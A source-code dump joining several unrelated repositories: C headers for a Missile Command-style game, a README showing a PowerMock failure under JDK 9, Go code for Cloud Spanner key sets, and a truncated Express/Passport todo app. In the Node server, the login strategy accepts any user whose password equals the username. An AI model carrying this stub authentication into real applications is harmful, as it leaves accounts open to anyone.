x2, int y2); void draw_linef(float x1, float y1, float x2, float y2); void draw_circlef(float x, float y, float radius); /* Normalise specifed y coordinate to the openGL systems \param y The y coordinate \retrun the normalised version */ inline float normalise_y(int y); inline float normalise_yf(float y); /* Normalise the specified x coordinate to the openGl system \param x The x coordinate \return the normalised version */ inline float normalise_x(int x); inline float normalise_xf(float x); /* Draw game missiles */ void draw_missiles(); void draw_explosions(); #endif <file_sep>/* File: Color.h Author: <NAME> <EMAIL> Description: Simple Color structure. Date: 2016/07/29 */ #ifndef COLOR_H #define COLOR_H #include "Platform.h" struct color { unsigned short r; unsigned short g; unsigned short b; unsigned short a; }; #endif <file_sep>/* File: Settings.h Author: <NAME> <EMAIL> Description: Provide an interface for the user to select (and save) program options. Date: 2016/08/04 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #ifndef SETTINGS_H #define SETTINGS_H #include "Bool.h" #include "Platform.h" struct Game_setting { int width; int height; BOOL fullscreen; }; extern struct Game_setting default_settings[]; /* Request the desired settings from the user. \return A game_settings struct representing the user choice. */ struct Game_setting request_settings(); #endif <file_sep>/* File: Input_handling.h Author: <NAME> <EMAIL> Description: Functions and variables for handling input for Radar game. Date: 2016/07/27 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #include "Bool.h" #include "Platform.h" extern BOOL g_running; extern int g_mouse_x; extern int g_mouse_y; /* Get input from user, set game state accordingly. */ void handle_input();
be69bcdadc1573761f1a308bb7331696f0c8e9a2
[ "Markdown", "C", "Text", "CMake" ]
24
C
callumW/Missile-Command
d6031c4769859590938bbbfa6249e9b108d99ed1
12e0344add891cc90ccd9d8b726be50eeb7ab312
refs/heads/master
<file_sep># powermocktest This is a reproducer for the issue I'm getting with power mock and JDK9 With JDK 8 it works fine: ``` mvn clean install [INFO] Scanning for projects... [WARNING] [WARNING] Some problems were encountered while building the effective model for powermock-test:powermock-test:jar:1.0-SNAPSHOT [WARNING] 'build.plugins.plugin.version' for org.apache.maven.plugins:maven-compiler-plugin is missing. @ line 43, column 21 [WARNING] [WARNING] It is highly recommended to fix these problems because they threaten the stability of your build. [WARNING] [WARNING] For this reason, future Maven versions might no longer support building such malformed projects. [WARNING] [INFO] [INFO] ------------------------------------------------------------------------ [INFO] Building powermock-test 1.0-SNAPSHOT [INFO] ------------------------------------------------------------------------ [INFO] [INFO] --- maven-clean-plugin:2.5:clean (default-clean) @ powermock-test --- [INFO] Deleting /Users/mpogrebinsky/Development/powermocktest/target [INFO] [INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ powermock-test --- [WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent! [INFO] Copying 0 resource [INFO] [INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @ powermock-test --- [INFO] Changes detected - recompiling the module! [WARNING] File encoding has not been set, using platform encoding UTF-8, i.e. build is platform dependent! [INFO] Compiling 1 source file to /Users/mpogrebinsky/Development/powermocktest/target/classes [INFO] [INFO] --- maven-resources-plugin:2.6:testResources (default-testResources) @ powermock-test --- [WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent! [INFO] skip non existing resourceDirectory /Users/mpogrebinsky/Development/powermocktest/src/test/resources [INFO] [INFO] --- maven-compiler-plugin:3.1:testCompile (default-testCompile) @ powermock-test --- [INFO] Changes detected - recompiling the module! [WARNING] File encoding has not been set, using platform encoding UTF-8, i.e. build is platform dependent! [INFO] Compiling 1 source file to /Users/mpogrebinsky/Development/powermocktest/target/test-classes [INFO] [INFO] --- maven-surefire-plugin:2.12.4:test (default-test) @ powermock-test --- [INFO] Surefire report directory: /Users/mpogrebinsky/Development/powermocktest/target/surefire-reports ------------------------------------------------------- T E S T S ------------------------------------------------------- Running PowermockTest Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.013 sec Results : Tests run: 1, Failures: 0, Errors: 0, Skipped: 0 [INFO] [INFO] --- maven-jar-plugin:2.4:jar (default-jar) @ powermock-test --- [INFO] Building jar: /Users/mpogrebinsky/Development/powermocktest/target/powermock-test-1.0-SNAPSHOT.jar [INFO] [INFO] --- maven-install-plugin:2.4:install (default-install) @ powermock-test --- [INFO] Installing /Users/mpogrebinsky/Development/powermocktest/target/powermock-test-1.0-SNAPSHOT.jar to /Users/mpogrebinsky/.m2/repository/powermock-test/powermock-test/1.0-SNAPSHOT/powermock-test-1.0-SNAPSHOT.jar [INFO] Installing /Users/mpogrebinsky/Development/powermocktest/pom.xml to /Users/mpogrebinsky/.m2/repository/powermock-test/powermock-test/1.0-SNAPSHOT/powermock-test-1.0-SNAPSHOT.pom [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 2.859 s [INFO] Finished at: 2018-04-17T14:27:31-07:00 [INFO] Final Memory: 20M/306M [INFO] ------------------------------------------------------------------------ ``` However if I run maven with JDK 9 ``` JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-9.0.4.jdk/Contents/Home/ mvn clean install -e [INFO] Error stacktraces are turned on. [INFO] Scanning for projects... [WARNING] [WARNING] Some problems were encountered while building the effective model for powermock-test:powermock-test:jar:1.0-SNAPSHOT [WARNING] 'build.plugins.plugin.version' for org.apache.maven.plugins:maven-compiler-plugin is missing. @ line 43, column 21 [WARNING] [WARNING] It is highly recommended to fix these problems because they threaten the stability of your build. [WARNING] [WARNING] For this reason, future Maven versions might no longer support building such malformed projects. [WARNING] [INFO] [INFO] ------------------------------------------------------------------------ [INFO] Building powermock-test 1.0-SNAPSHOT [INFO] ------------------------------------------------------------------------ [INFO] [INFO] --- maven-clean-plugin:2.5:clean (default-clean) @ powermock-test --- [INFO] Deleting /Users/mpogrebinsky/Development/powermocktest/target [INFO] [INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ powermock-test --- [WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent! [INFO] Copying 0 resource [INFO] [INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @ powermock-test --- [INFO] Changes detected - recompiling the module! [WARNING] File encoding has not been set, using platform encoding UTF-8, i.e. build is platform dependent! [INFO] Compiling 1 source file to /Users/mpogrebinsky/Development/powermocktest/target/classes [INFO] [INFO] --- maven-resources-plugin:2.6:testResources (default-testResources) @ powermock-test --- [WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent! [INFO] skip non existing resourceDirectory /Users/mpogrebinsky/Development/powermocktest/src/test/resources [INFO] [INFO] --- maven-compiler-plugin:3.1:testCompile (default-testCompile) @ powermock-test --- [INFO] Changes detected - recompiling the module! [WARNING] File encoding has not been set, using platform encoding UTF-8, i.e. build is platform dependent! [INFO] Compiling 1 source file to /Users/mpogrebinsky/Development/powermocktest/target/test-classes [INFO] [INFO] --- maven-surefire-plugin:2.12.4:test (default-test) @ powermock-test --- [INFO] Surefire report directory: /Users/mpogrebinsky/Development/powermocktest/target/surefire-reports ------------------------------------------------------- T E S T S ------------------------------------------------------- Running PowermockTest Tests run: 1, Failures: 0, Errors: 1, Skipped: 0, Time elapsed: 0.268 sec <<< FAILURE! initializationError(PowermockTest) Time elapsed: 0.006 sec <<< ERROR! org.objenesis.ObjenesisException: java.lang.reflect.InvocationTargetException at org.objenesis.instantiator.sun.SunReflectionFactoryHelper.newConstructorForSerialization(SunReflectionFactoryHelper.java:54) at org.objenesis.instantiator.sun.SunReflectionFactoryInstantiator.<init>(SunReflectionFactoryInstantiator.java:41) at org.objenesis.strategy.StdInstantiatorStrategy.newInstantiatorOf(StdInstantiatorStrategy.java:67) at org.objenesis.ObjenesisBase.getInstantiatorOf(ObjenesisBase.java:94) at org.powermock.reflect.internal.WhiteboxImpl.newInstance(WhiteboxImpl.java:259) at org.powermock.reflect.Whitebox.newInstance(Whitebox.java:139) at org.powermock.tests.utils.impl.AbstractTestSuiteChunkerImpl.getPowerMockTestListenersLoadedByASpecificClassLoader(AbstractTestSuiteChunkerImpl.java:95) at org.powermock.modules.junit4.common.internal.impl.JUnit4TestSuiteChunkerImpl.createDelegatorFromClassloader(JUnit4TestSuiteChunkerImpl.java:174) at org.powermock.modules.junit4.common.internal.impl.JUnit4TestSuiteChunkerImpl.createDelegatorFromClassloader(JUnit4TestSuiteChunkerImpl.java:48) at org.powermock.tests.utils.impl.AbstractTestSuiteChunkerImpl.createTestDelegators(AbstractTestSuiteChunkerImpl.java:108) at org.powermock.modules.junit4.common.internal.impl.JUnit4TestSuiteChunkerImpl.<init>(JUnit4TestSuiteChunkerImpl.java:71) at org.powermock.modules.junit4.common.internal.impl.AbstractCommonPowerMockRunner.<init>(AbstractCommonPowerMockRunner.java:36) at org.powermock.modules.junit4.PowerMockRunner.<init>(PowerMockRunner.java:34) at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:488) at org.junit.internal.builders.AnnotatedBuilder.buildRunner(AnnotatedBuilder.java:104) at org.junit.internal.builders.AnnotatedBuilder.runnerForClass(AnnotatedBuilder.java:86) at org.junit.runners.model.RunnerBuilder.safeRunnerForClass(RunnerBuilder.java:59) at org.junit.internal.builders.AllDefaultPossibilitiesBuilder.runnerForClass(AllDefaultPossibilitiesBuilder.java:26) at org.junit.runners.model.RunnerBuilder.safeRunnerForClass(RunnerBuilder.java:59) at org.junit.internal.requests.ClassRequest.getRunner(ClassRequest.java:33) at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:250) at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:141) at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:112) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:564) at org.apache.maven.surefire.util.ReflectionUtils.invokeMethodWithArray(ReflectionUtils.java:189) at org.apache.maven.surefire.booter.ProviderFactory$ProviderProxy.invoke(ProviderFactory.java:165) at org.apache.maven.surefire.booter.ProviderFactory.invokeProvider(ProviderFactory.java:85) at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:115) at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:75) Caused by: java.lang.reflect.InvocationTargetException at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:564) at org.objenesis.instantiator.sun.SunReflectionFactoryHelper.newConstructorForSerialization(SunReflectionFactoryHelper.java:44) ... 34 more Caused by: java.lang.IllegalAccessError: class jdk.internal.reflect.ConstructorAccessorImpl loaded by org/powermock/core/classloader/MockClassLoader cannot access jdk/internal/reflect superclass jdk.internal.reflect.MagicAccessorImpl at java.base/java.lang.ClassLoader.defineClass1(Native Method) at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1007) at org.powermock.core.classloader.MockClassLoader.loadUnmockedClass(MockClassLoader.java:262) at org.powermock.core.classloader.MockClassLoader.loadModifiedClass(MockClassLoader.java:206) at org.powermock.core.classloader.DeferSupportingClassLoader.loadClass1(DeferSupportingClassLoader.java:89) at org.powermock.core.classloader.DeferSupportingClassLoader.loadClass(DeferSupportingClassLoader.java:79) at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:496) at java.base/java.lang.ClassLoader.defineClass1(Native Method) at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1007) at org.powermock.core.classloader.MockClassLoader.loadUnmockedClass(MockClassLoader.java:262) at org.powermock.core.classloader.MockClassLoader.loadModifiedClass(MockClassLoader.java:206) at org.powermock.core.classloader.DeferSupportingClassLoader.loadClass1(DeferSupportingClassLoader.java:89) at org.powermock.core.classloader.DeferSupportingClassLoader.loadClass(DeferSupportingClassLoader.java:79) at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:496) at java.base/jdk.internal.misc.Unsafe.defineClass0(Native Method) at java.base/jdk.internal.misc.Unsafe.defineClass(Unsafe.java:1173) at java.base/jdk.internal.reflect.ClassDefiner.defineClass(ClassDefiner.java:63) at java.base/jdk.internal.reflect.MethodAccessorGenerator$1.run(MethodAccessorGenerator.java:400) at java.base/jdk.internal.reflect.MethodAccessorGenerator$1.run(MethodAccessorGenerator.java:394) at java.base/java.security.AccessController.doPrivileged(Native Method) at java.base/jdk.internal.reflect.MethodAccessorGenerator.generate(MethodAccessorGenerator.java:393) at java.base/jdk.internal.reflect.MethodAccessorGenerator.generateSerializationConstructor(MethodAccessorGenerator.java:112) at java.base/jdk.internal.reflect.ReflectionFactory.generateConstructor(ReflectionFactory.java:434) at java.base/jdk.internal.reflect.ReflectionFactory.newConstructorForSerialization(ReflectionFactory.java:404) at jdk.unsupported/sun.reflect.ReflectionFactory.newConstructorForSerialization(ReflectionFactory.java:103) ... 39 more Results : Tests in error: initializationError(PowermockTest): java.lang.reflect.InvocationTargetException Tests run: 1, Failures: 0, Errors: 1, Skipped: 0 [INFO] ------------------------------------------------------------------------ [INFO] BUILD FAILURE [INFO] ------------------------------------------------------------------------ [INFO] Total time: 2.333 s [INFO] Finished at: 2018-04-17T14:28:38-07:00 [INFO] Final Memory: 14M/49M [INFO] ------------------------------------------------------------------------ [ERROR] Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.12.4:test (default-test) on project powermock-test: There are test failures. [ERROR] [ERROR] Please refer to /Users/mpogrebinsky/Development/powermocktest/target/surefire-reports for the individual test results. [ERROR] -> [Help 1] org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.12.4:test (default-test) on project powermock-test: There are test failures. Please refer to /Users/mpogrebinsky/Development/powermocktest/target/surefire-reports for the individual test results. at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:212) at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:153) at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:145) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:116) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:80) at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build(SingleThreadedBuilder.java:51) at org.apache.maven.lifecycle.internal.LifecycleStarter.execute(LifecycleStarter.java:128) at org.apache.maven.DefaultMaven.doExecute(DefaultMaven.java:307) at org.apache.maven.DefaultMaven.doExecute(DefaultMaven.java:193) at org.apache.maven.DefaultMaven.execute(DefaultMaven.java:106) at org.apache.maven.cli.MavenCli.execute(MavenCli.java:863) at org.apache.maven.cli.MavenCli.doMain(MavenCli.java:288) at org.apache.maven.cli.MavenCli.main(MavenCli.java:199) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:564) at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced(Launcher.java:289) at org.codehaus.plexus.classworlds.launcher.Launcher.launch(Launcher.java:229) at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode(Launcher.java:415) at org.codehaus.plexus.classworlds.launcher.Launcher.main(Launcher.java:356) Caused by: org.apache.maven.plugin.MojoFailureException: There are test failures. Please refer to /Users/mpogrebinsky/Development/powermocktest/target/surefire-reports for the individual test results. at org.apache.maven.plugin.surefire.SurefireHelper.reportExecution(SurefireHelper.java:83) at org.apache.maven.plugin.surefire.SurefirePlugin.writeSummary(SurefirePlugin.java:176) at org.apache.maven.plugin.surefire.SurefirePlugin.handleSummary(SurefirePlugin.java:150) at org.apache.maven.plugin.surefire.AbstractSurefireMojo.executeAfterPreconditionsChecked(AbstractSurefireMojo.java:650) at org.apache.maven.plugin.surefire.AbstractSurefireMojo.execute(AbstractSurefireMojo.java:586) at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo(DefaultBuildPluginManager.java:134) at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:207) ... 20 more [ERROR] [ERROR] Re-run Maven using the -X switch to enable full debug logging. [ERROR] [ERROR] For more information about the errors and possible solutions, please read the following articles: [ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException ``` <file_sep>public class SomeClass { public SomeClass() { } public static int printSomething() { System.out.println("hi"); return 5; } }
0487b3b1a39720640aba5ad89e9cb0b57ce00d7e
[ "Markdown", "Java" ]
2
Markdown
michaelpog/powermocktest
d064571889c5974a56349053fa037d5f164c612e
0d78a1725b291392ccd3f3b07484e6e028d82fed
refs/heads/master
<repo_name>ayuresmita/tugas_pabw<file_sep>/lingkaran.php <!DOCTYPE html> <html> <head> <title></title> </head> <body> <?php include 'tugas2.php'; echo "<br>"; ?> <form method="GET"> <!-- Simpan pada <br> <select name="penyimpanan"> <option value="database">Database</option> <option value="text">File</option> </select> <br> <br> --> <label>Jari Jari Lingkaran : </label> <input type="text" name="r"> <input type="submit" name="submit1" value="Masukkan" > <br><br> </form> <?php /** ========================================================== Memanggil kelas ========================================================== **/ include 'perhitungan.php'; /** ========================================================== Membuat Objek ========================================================== **/ $objek = new perhitungan; /** ========================================================== Proses ========================================================== **/ if (isset($_GET['r'])) { $hasil = $objek->luasLingkaran($_GET['r']); echo "$hasil"; } ?> </body> </html><file_sep>/hasil.php <!DOCTYPE html> <html> <head> <title></title> </head> <body> <?php include 'tugas2.php'; if (isset($_POST['pilihan'])) { $pil = $_POST['pilihan']; } if ($pil == "Segitiga") { header('Location: segitiga.php'); } else if ($pil == "Bujur Sangkar") { header('Location: bujur sangkar.php'); } else if ($pil == "Lingkaran") { header('Location: lingkaran.php'); } else { header('Location: persegi panjang.php'); } ?> </body> </html><file_sep>/perhitungan.php <?php /** ========================================================== Kelas perhitungan ========================================================== **/ class perhitungan { public $bil1 = 0; public $bil2 = 0; public $hasil = 0; function luasSegitiga($bil1, $bil2){ $this->bil1 = $bil1; $this->bil2 = $bil2; $this->hasil = ($this->bil1 * $this->bil2)/2; $file = fopen("file.txt", 'a'); $waktu = date('D\, j\-m\-y'); fwrite($file, "$waktu---> luas segitiga dengan alas $this->bil1 dan tinggi $this->bil2 = $this->hasil ".PHP_EOL); fclose($file); return $this->hasil; } function luasPersegiPanjang($bil1, $bil2){ $this->bil1 = $bil1; $this->bil2 = $bil2; $this->hasil = $this->bil1 * $this->bil2; $file = fopen("file.txt", 'a'); $waktu = date('D\, j\-m\-y'); fwrite($file, "$waktu---> luas persegi panjang dengan panjang $this->bil1 dan lebar $this->bil2 = $this->hasil ".PHP_EOL); fclose($file); return $this->hasil; } function luasBujurSangkar($bil1){ $this->bil1 = $bil1; $this->hasil = $this->bil1 * $this->bil1; $file = fopen("file.txt", 'a'); $waktu = date('D\, j\-m\-y'); fwrite($file, "$waktu---> luas Bujur sangkar dengan sisi $this->bil1 = $this->hasil ".PHP_EOL); fclose($file); return $this->hasil; } function luasLingkaran($bil1){ $this->bil1 = $bil1; $this->hasil = 3.14 * $this->bil1 * $this->bil1; $file = fopen("file.txt", 'a'); $waktu = date('D\, j\-m\-y'); fwrite($file, "$waktu---> luas lingkaran dengan jari jari $this->bil1 = $this->hasil ".PHP_EOL); fclose($file); return $this->hasil; } } ?>
161a9cb421f57fda387ff1cdc655960776f20297
[ "PHP" ]
3
PHP
ayuresmita/tugas_pabw
225413edec7dfe5f9663c52bbc30b69a327b07eb
be9da7a4de628700905f37812bf7f82e3b23923e
refs/heads/master
<file_sep>/* Copyright 2017 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package spanner import ( "reflect" "testing" proto3 "github.com/golang/protobuf/ptypes/struct" sppb "google.golang.org/genproto/googleapis/spanner/v1" ) func TestKeySets(t *testing.T) { int1 := intProto(1) int2 := intProto(2) int3 := intProto(3) int4 := intProto(4) for i, test := range []struct { ks KeySet wantProto *sppb.KeySet }{ { KeySets(), &sppb.KeySet{}, }, { Key{4}, &sppb.KeySet{ Keys: []*proto3.ListValue{listValueProto(int4)}, }, }, { AllKeys(), &sppb.KeySet{All: true}, }, { KeySets(Key{1, 2}, Key{3, 4}), &sppb.KeySet{ Keys: []*proto3.ListValue{ listValueProto(int1, int2), listValueProto(int3, int4), }, }, }, { KeyRange{Key{1}, Key{2}, ClosedOpen}, &sppb.KeySet{Ranges: []*sppb.KeyRange{ &sppb.KeyRange{ &sppb.KeyRange_StartClosed{listValueProto(int1)}, &sppb.KeyRange_EndOpen{listValueProto(int2)}, }, }}, }, { Key{2}.AsPrefix(), &sppb.KeySet{Ranges: []*sppb.KeyRange{ &sppb.KeyRange{ &sppb.KeyRange_StartClosed{listValueProto(int2)}, &sppb.KeyRange_EndClosed{listValueProto(int2)}, }, }}, }, { KeySets( KeyRange{Key{1}, Key{2}, ClosedClosed}, KeyRange{Key{3}, Key{4}, OpenClosed}, ), &sppb.KeySet{ Ranges: []*sppb.KeyRange{ &sppb.KeyRange{ &sppb.KeyRange_StartClosed{listValueProto(int1)}, &sppb.KeyRange_EndClosed{listValueProto(int2)}, }, &sppb.KeyRange{ &sppb.KeyRange_StartOpen{listValueProto(int3)}, &sppb.KeyRange_EndClosed{listValueProto(int4)}, }, }, }, }, { KeySets( Key{1}, KeyRange{Key{2}, Key{3}, ClosedClosed}, KeyRange{Key{4}, Key{5}, OpenClosed}, KeySets(), Key{6}), &sppb.KeySet{ Keys: []*proto3.ListValue{ listValueProto(int1), listValueProto(intProto(6)), }, Ranges: []*sppb.KeyRange{ &sppb.KeyRange{ &sppb.KeyRange_StartClosed{listValueProto(int2)}, &sppb.KeyRange_EndClosed{listValueProto(int3)}, }, &sppb.KeyRange{ &sppb.KeyRange_StartOpen{listValueProto(int4)}, &sppb.KeyRange_EndClosed{listValueProto(intProto(5))}, }, }, }, }, { KeySets( Key{1}, KeyRange{Key{2}, Key{3}, ClosedClosed}, AllKeys(), KeyRange{Key{4}, Key{5}, OpenClosed}, Key{6}), &sppb.KeySet{All: true}, }, } { gotProto, err := test.ks.keySetProto() if err != nil { t.Errorf("#%d: %v.proto() returns error %v; want nil error", i, test.ks, err) } if !reflect.DeepEqual(gotProto, test.wantProto) { t.Errorf("#%d: %v.proto() = \n%v\nwant:\n%v", i, test.ks, gotProto.String(), test.wantProto.String()) } } } <file_sep>/* Copyright 2017 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package spanner import ( sppb "google.golang.org/genproto/googleapis/spanner/v1" ) // A KeySet defines a collection of Cloud Spanner keys and/or key ranges. All the // keys are expected to be in the same table or index. The keys need not be sorted in // any particular way. // // An individual Key can act as a KeySet, as can a KeyRange. Use the KeySets function // to create a KeySet consisting of multiple Keys and KeyRanges. To obtain an empty // KeySet, call KeySets with no arguments. // // If the same key is specified multiple times in the set (for example if two // ranges, two keys, or a key and a range overlap), the Cloud Spanner backend behaves // as if the key were only specified once. type KeySet interface { keySetProto() (*sppb.KeySet, error) } // AllKeys returns a KeySet that represents all Keys of a table or a index. func AllKeys() KeySet { return all{} } type all struct{} func (all) keySetProto() (*sppb.KeySet, error) { return &sppb.KeySet{All: true}, nil } // KeySets returns the union of the KeySets. If any of the KeySets is AllKeys, then // the resulting KeySet will be equivalent to AllKeys. func KeySets(keySets ...KeySet) KeySet { u := make(union, len(keySets)) copy(u, keySets) return u } type union []KeySet func (u union) keySetProto() (*sppb.KeySet, error) { upb := &sppb.KeySet{} for _, ks := range u { pb, err := ks.keySetProto() if err != nil { return nil, err } if pb.All { return pb, nil } upb.Keys = append(upb.Keys, pb.Keys...) upb.Ranges = append(upb.Ranges, pb.Ranges...) } return upb, nil }
b6ecd53d33f932cc3177e126f15c9b245fc1b9ab
[ "Go" ]
2
Go
nlandolfi/google-cloud-go
7eaaec940b71769743a0d2848381a596475db704
b8d7582d74e5734cc3509ade6a6b382355f90f58
refs/heads/master
<repo_name>Tri-Vi/todo<file_sep>/routes/index.js const express = require('express'); const router = express.Router(); const passport = require('passport'); router.post('/login', passport.authenticate('local', {failureRedirect: '/'}), function(req,res, next){ req.user.role = []; next(); }, function(req, res){ res.redirect('/'); }); router.post('/logout', function(req,res){ console.log('logging out'); delete req.user; req.logout(); res.redirect('/'); }); router.get('/', require('permission')(), function(req, res, next){ res.render('home'); }); module.exports = router; <file_sep>/server.js const express = require('express'); const session = require('express-session'); const cookieParser = require('cookie-parser'); const bodyParser = require('body-parser'); const PropertiesReader = require('properties-reader'); const passport = require('passport'); const LocalStrategy = require('passport-local').Strategy; const mysql = require('mysql'); const app = express(); //Routes const apiRoutes = require('./routes/apiRoutes.js'); const routes = require('./routes/index'); var properties = PropertiesReader('./local.properties'); //DB var connection = require('./db/connection.js'); // passport passport.use(new LocalStrategy( function(username, password, done) { if(username === password) { return done(null, {'username': username}); } return done(null, false); } )); passport.serializeUser(function(user, done){ done(null, user); }); passport.deserializeUser(function(user, done){ done(null, user); }) app.set('view engine', 'ejs'); app.set('views', './views'); app.use(express.static('public')); app.use('/bower_components', express.static('bower_components')); app.use(bodyParser.urlencoded({ extended: true })); app.use(bodyParser.json()) app.use(cookieParser()); app.use(session({ secret: properties.get('session.secret'), resave: true, saveUninitialized: true })); app.use(passport.initialize()); app.use(passport.session()); app.set('permission', { after: function(req, res, next, authorizedStatus) 